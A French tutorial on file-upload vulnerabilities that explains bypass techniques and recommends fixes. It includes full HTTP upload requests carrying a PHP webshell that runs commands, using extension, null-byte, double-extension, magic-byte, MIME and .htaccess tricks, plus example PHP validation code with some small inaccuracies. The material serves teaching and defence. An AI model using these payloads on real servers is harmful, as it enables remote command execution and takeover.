Cover Image

Les failles d'upload : comprendre, exploiter et corriger


Qu’est ce qu’une faille upload ?

Les failles d’upload sont une vulnĂ©rabilitĂ© courante sur les sites web qui permettent aux utilisateurs de tĂ©lĂ©charger des fichiers. Les attaquants peuvent exploiter cette vulnĂ©rabilitĂ© en tĂ©lĂ©chargeant des fichiers malveillants sur le serveur, ce qui peut entraĂźner des compromissions de sĂ©curitĂ©. Dans cet article, nous allons expliquer comment fonctionnent les failles d’upload, comment les attaquants peuvent les exploiter et comment les corriger.

Comment fonctionnent les failles d’upload

Les failles d’upload se produisent lorsqu’un site web ne valide pas correctement les fichiers tĂ©lĂ©chargĂ©s par les utilisateurs. Les attaquants peuvent profiter de cette vulnĂ©rabilitĂ© en tĂ©lĂ©chargeant des fichiers malveillants sur le serveur, tels que des webshells, qui permettent aux attaquants de prendre le contrĂŽle du serveur.

Il existe plusieurs techniques utilisĂ©es pour exploiter les failles d’upload, notamment :

  • Le contournement de l’extension de fichier : les attaquants peuvent renommer un fichier malveillant avec une extension de fichier autorisĂ©e pour contourner les restrictions de tĂ©lĂ©chargement basĂ©es sur l’extension de fichier.
  • L’utilisation du caractĂšre null byte : cette technique est spĂ©cifique Ă  PHP 5 et infĂ©rieur. Les attaquants peuvent ajouter un caractĂšre null Ă  la fin d’un nom de fichier pour masquer la vĂ©ritable extension de fichier.
  • L’utilisation de doubles extensions : les attaquants peuvent ajouter des extensions de fichier supplĂ©mentaires Ă  un fichier malveillant pour contourner les restrictions de tĂ©lĂ©chargement basĂ©es sur l’extension de fichier.
  • La manipulation du type MIME : les attaquants peuvent modifier les informations de type MIME d’un fichier pour tromper le serveur et permettre le tĂ©lĂ©chargement de fichiers malveillants.
  • L’utilisation du fichier .htaccess : les attaquants peuvent utiliser un fichier .htaccess pour contourner les restrictions de tĂ©lĂ©chargement en ajoutant des directives pour autoriser le tĂ©lĂ©chargement de fichiers malveillants.
  • Le contournement du magic byte : les attaquants peuvent modifier le magic byte d’un fichier malveillant afin de tromper les programmes de lecture de fichiers et de les exĂ©cuter de maniĂšre inattendue.

Exploitation de failles d’upload

Pour exploiter une faille d’upload, un attaquant doit tĂ©lĂ©charger un fichier malveillant sur le serveur. Voici des exemples de requĂȘtes HTTP qui peuvent ĂȘtre utilisĂ©es pour tĂ©lĂ©charger un fichier malveillant sur le serveur en exploitant diffĂ©rentes failles d’upload :

Contournement de l’extension de fichier

RequĂȘte HTTP pour contourner les restrictions de tĂ©lĂ©chargement basĂ©es sur l’extension de fichier :

POST /upload.php HTTP/1.1
Host: example.com
Content-Length: 220
Content-Type: multipart/form-data; boundary=---------------------------19662891931763351995939054936
-----------------------------19662891931763351995939054936
Content-Disposition: form-data; name="file"; filename="webshell.php.jpg"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
-----------------------------19662891931763351995939054936--

Dans cet exemple, le fichier malveillant est renommĂ© avec une extension .jpg pour contourner les restrictions de tĂ©lĂ©chargement basĂ©es sur l’extension de fichier.

Le contenu du fichier est un code webshell qui permet à l’attaquant de prendre le contrîle du serveur via l’URL “http://example.com/uploads/webshell.php.jpg?cmd=whoami”.

Utilisation du caractĂšre null byte

RequĂȘte HTTP pour exploiter la vulnĂ©rabilitĂ© du caractĂšre null byte :

POST /upload.php HTTP/1.1
Host: example.com
Content-Length: 220
Content-Type: multipart/form-data; boundary=---------------------------19662891931763351995939054936
-----------------------------19662891931763351995939054936
Content-Disposition: form-data; name="file"; filename="webshell.php%00.jpg"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
-----------------------------19662891931763351995939054936--

Dans cet exemple, le nom du fichier est webshell.php%00.jpg, oĂč %00 reprĂ©sente le caractĂšre null. Ce caractĂšre est ajoutĂ© Ă  la fin du nom de fichier pour masquer la vĂ©ritable extension de fichier et tromper le serveur. Le contenu du fichier est un code webshell qui permet Ă  l’attaquant de prendre le contrĂŽle du serveur via l’URL http://example.com/uploads/webshell.php?cmd=whoami.

Utilisation de doubles extensions

RequĂȘte HTTP pour exploiter la vulnĂ©rabilitĂ© des doubles extensions :

POST /upload.php HTTP/1.1
Host: example.com
Content-Length: 220
Content-Type: multipart/form-data; boundary=---------------------------19662891931763351995939054936
-----------------------------19662891931763351995939054936
Content-Disposition: form-data; name="file"; filename="webshell.jpg.php"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
-----------------------------19662891931763351995939054936--

Dans cet exemple, le nom du fichier est webshell.jpg.php, qui a deux extensions de fichier. Le contenu du fichier est un code webshell qui permet à l’attaquant de prendre le contrîle du serveur via l’URL "http://example.com/uploads/webshell.jpg.php?cmd=whoami".

Exploitation de la vulnérabilité du Magic Byte :

Les octets magiques, Ă©galement connus sous le nom de Magic Byte, sont une sĂ©quence d’octets situĂ©s au dĂ©but d’un fichier qui permettent de dĂ©terminer son type de fichier. Les contrĂŽles de sĂ©curitĂ© basĂ©s sur les octets magiques peuvent ĂȘtre contournĂ©s en modifiant les octets magiques pour qu’ils correspondent Ă  un type de fichier autorisĂ©.

Voici un exemple de code PHP vulnérable :

$file = $_FILES['file']['tmp_name'];
$mime = file_mime_type($file);

if (strpos($mime, 'image') === false) {
    die('File is not a supported image format.');
}

Pour exploiter cette vulnĂ©rabilitĂ©, un attaquant peut modifier les octets magiques d’un fichier malveillant pour qu’ils correspondent Ă  un type de fichier autorisĂ©. Voici un exemple de requĂȘte HTTP pour exploiter la vulnĂ©rabilitĂ© du Magic Byte :

POST /upload.php HTTP/1.1
Host: example.com
Content-Length: 220
Content-Type: multipart/form-data; boundary=---------------------------19662891931763351995939054936
-----------------------------19662891931763351995939054936
Content-Disposition: form-data; name="file"; filename="webshell.php"
Content-Type: image/jpeg
\xFF\xD8\xFF\xE0<?php system($_GET['cmd']); ?>

Dans cet exemple, le fichier malveillant a été renommé en webshell.php pour tromper le serveur, et les octets magiques ont été remplacés par les octets magiques JPEG (FFD8FFE0 en brute) pour éviter la détection du serveur.

Pour corriger cette vulnĂ©rabilitĂ©, il est recommandĂ© d’utiliser les fonctions PHP spĂ©cifiques au type MIME pour valider le type de fichier. Par exemple, la fonction finfo_file() peut ĂȘtre utilisĂ©e pour rĂ©cupĂ©rer le type MIME rĂ©el du fichier. Voici un exemple de code PHP corrigĂ© :

$file = $_FILES['file']['tmp_name'];
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $file);

if (!in_array($mime, array('image/jpeg', 'image/png', 'image/gif'))) {
    die('File is not an allowed image type');
}

En utilisant cette mĂ©thode, le type MIME rĂ©el du fichier est vĂ©rifiĂ©, ce qui permet de dĂ©tecter les tentatives d’exploitation de la vulnĂ©rabilitĂ© du Magic Byte.

Manipulation du type MIME

RequĂȘte HTTP pour exploiter la vulnĂ©rabilitĂ© de la manipulation du type MIME :

POST /upload.php HTTP/1.1
Host: example.com
Content-Length: 244
Content-Type: multipart/form-data; boundary=---------------------------19662891931763351995939054936
-----------------------------19662891931763351995939054936
Content-Disposition: form-data; name="file"; filename="webshell.php"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
-----------------------------19662891931763351995939054936
Content-Disposition: form-data; name="type"

image/jpeg
-----------------------------19662891931763351995939054936--

Dans cet exemple, le type MIME est dĂ©fini sur image/jpeg pour tromper le serveur. Le contenu du fichier est un code webshell qui permet Ă  l’attaquant de prendre le contrĂŽle du serveur via l’URL “http://example.com/uploads/webshell.php?cmd=whoami”.

Utilisation du fichier .htaccess

RequĂȘte HTTP pour exploiter la vulnĂ©rabilitĂ© de l’utilisation du fichier .htaccess

POST /upload.php HTTP/1.1
Host: example.com
Content-Length: 197
Content-Type: multipart/form-data; boundary=---------------------------19662891931763351995939054936
-----------------------------19662891931763351995939054936
Content-Disposition: form-data; name="file"; filename=".htaccess"
Content-Type: text/plain

<FilesMatch "webshell\.uwu$">
    ForceType application/x-httpd-php
</FilesMatch>
-----------------------------19662891931763351995939054936
Content-Disposition: form-data; name="file"; filename="webshell.uwu"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
-----------------------------19662891931763351995939054936--

Dans cet exemple, un fichier .htaccess est ajoutĂ© avec un code qui modifie le type MIME du fichier webshell.uwu en application/x-httpd-php. Cela permet d’exĂ©cuter le fichier webshell.uwu comme un script PHP, mĂȘme s’il a une extension de fichier diffĂ©rente. Le contenu du fichier webshell.uwu est le mĂȘme que les exemples prĂ©cĂ©dents, un code webshell qui permet Ă  l’attaquant de prendre le contrĂŽle du serveur via l’URL "http://example.com/uploads/webshell.php?cmd=whoami".

Comment éviter ou minimiser les risques

Il existe plusieurs moyens de prĂ©venir ou de minimiser les risques de vulnĂ©rabilitĂ©s d’upload :

Limiter les types de fichiers acceptés

Une des mesures de sĂ©curitĂ© les plus simples Ă  prendre est de limiter les types de fichiers acceptĂ©s par l’application Ă  des formats sĂ»rs et connus. Cela peut ĂȘtre fait en vĂ©rifiant l’extension de fichier ou le type MIME du fichier uploadĂ©.

VĂ©rification de l’extension de fichier

La vĂ©rification de l’extension de fichier est une mesure de sĂ©curitĂ© courante pour restreindre les types de fichiers tĂ©lĂ©chargĂ©s. Cependant, cette mĂ©thode est facilement contournable en renommant le fichier uploadĂ© avec une extension diffĂ©rente. Par consĂ©quent, il est recommandĂ© de vĂ©rifier le type MIME du fichier uploadĂ© en plus de l’extension de fichier.

Vérification du type MIME

La vĂ©rification du type MIME est une mĂ©thode plus fiable pour vĂ©rifier le type de fichier uploadĂ©. Cela peut ĂȘtre fait en utilisant la fonction PHP finfo_file() pour rĂ©cupĂ©rer le type MIME du fichier uploadĂ©.

VĂ©rification des droits d’accĂšs

Les droits d’accĂšs au dossier d’upload doivent ĂȘtre correctement configurĂ©s pour Ă©viter les tĂ©lĂ©chargements malveillants. Les dossiers d’upload ne doivent pas ĂȘtre accessibles en Ă©criture par tous les utilisateurs.

Renommer le fichier uploadé

Pour Ă©viter la manipulation de l’extension de fichier, il est recommandĂ© de renommer le fichier uploadĂ© en utilisant un nom de fichier unique. Cela peut ĂȘtre fait en utilisant la fonction PHP uniqid() pour gĂ©nĂ©rer un nom de fichier unique.

Restreindre les permissions d’exĂ©cution

Il est recommandĂ© de restreindre les permissions d’exĂ©cution sur les fichiers uploadĂ©s pour empĂȘcher l’exĂ©cution de scripts malveillants. Cela peut ĂȘtre fait en supprimant les permissions d’exĂ©cution pour les fichiers uploadĂ©s

Voici un exemple de code corrigé qui implémente les mesures de sécurité mentionnées précédemment :

<?php
/* Vérification des droits d'accÚs au dossier d'upload */
$upload_dir = '/path/to/upload/dir';
if (!is_writable($upload_dir)) {
    die('Erreur : Le dossier d\'upload n\'est pas accessible en écriture');
}

/* Vérification du type MIME du fichier uploadé */
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime_type = finfo_file($finfo, $_FILES['file']['tmp_name']);
$allowed_mime_types = array('image/jpeg', 'image/png', 'image/gif');
if (!in_array($mime_type, $allowed_mime_types)) {
    die('Erreur : Type de fichier non autorisé');
}

/* Renommage du fichier uploadé avec un nom unique */
$file_name = uniqid() . '_' . $_FILES['file']['name'];
$upload_file = $upload_dir . '/' . $file_name;

/* Vérification de l'extension de fichier (en option) */
$allowed_extensions = array('jpg', 'jpeg', 'png', 'gif');
$file_extension = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
if (!in_array($file_extension, $allowed_extensions)) {
    die('Erreur : Extension de fichier non autorisée');
}

/* Vérification de la taille du fichier uploadé (en option) */
$max_file_size = 5 * 1024 * 1024; // 5 Mo
if ($_FILES['file']['size'] > $max_file_size) {
    die('Erreur : La taille du fichier dépasse la limite autorisée');
}

/* Déplacement du fichier uploadé vers le dossier d'upload */
if (move_uploaded_file($_FILES['file']['tmp_name'], $upload_file)) {
    echo 'Le fichier a été téléchargé avec succÚs';
} else {
    echo 'Erreur : Le téléchargement a échoué';
}

Ce code effectue une sĂ©rie de vĂ©rifications pour minimiser les risques de vulnĂ©rabilitĂ©s d’upload. Il vĂ©rifie les droits d’accĂšs au dossier d’upload, le type MIME du fichier uploadĂ©, renomme le fichier uploadĂ© avec un nom unique, vĂ©rifie l’extension de fichier (en option) et la taille du fichier uploadĂ© (en option), et enfin dĂ©place le fichier uploadĂ© vers le dossier d’upload si toutes les vĂ©rifications sont passĂ©es.

⚠ Il est important de souligner que la sĂ©curitĂ© informatique n’est jamais absolue. Bien que les mesures de sĂ©curitĂ© mentionnĂ©es prĂ©cĂ©demment peuvent rĂ©duire les risques de vulnĂ©rabilitĂ©s d’upload, il est toujours possible que des vulnĂ©rabilitĂ©s propres Ă  la technologie utilisĂ©e soient dĂ©couvertes Ă  l’avenir.

Il est donc recommandĂ© de prendre les mesures de sĂ©curitĂ© avec des pincettes et de rester Ă  l’affĂ»t des nouvelles vulnĂ©rabilitĂ©s et des correctifs de sĂ©curitĂ©. De plus, il est vivement conseillĂ© de maintenir les systĂšmes et les applications Ă  jour avec les derniĂšres mises Ă  jour de sĂ©curitĂ© pour rĂ©duire les risques de vulnĂ©rabilitĂ©s connues.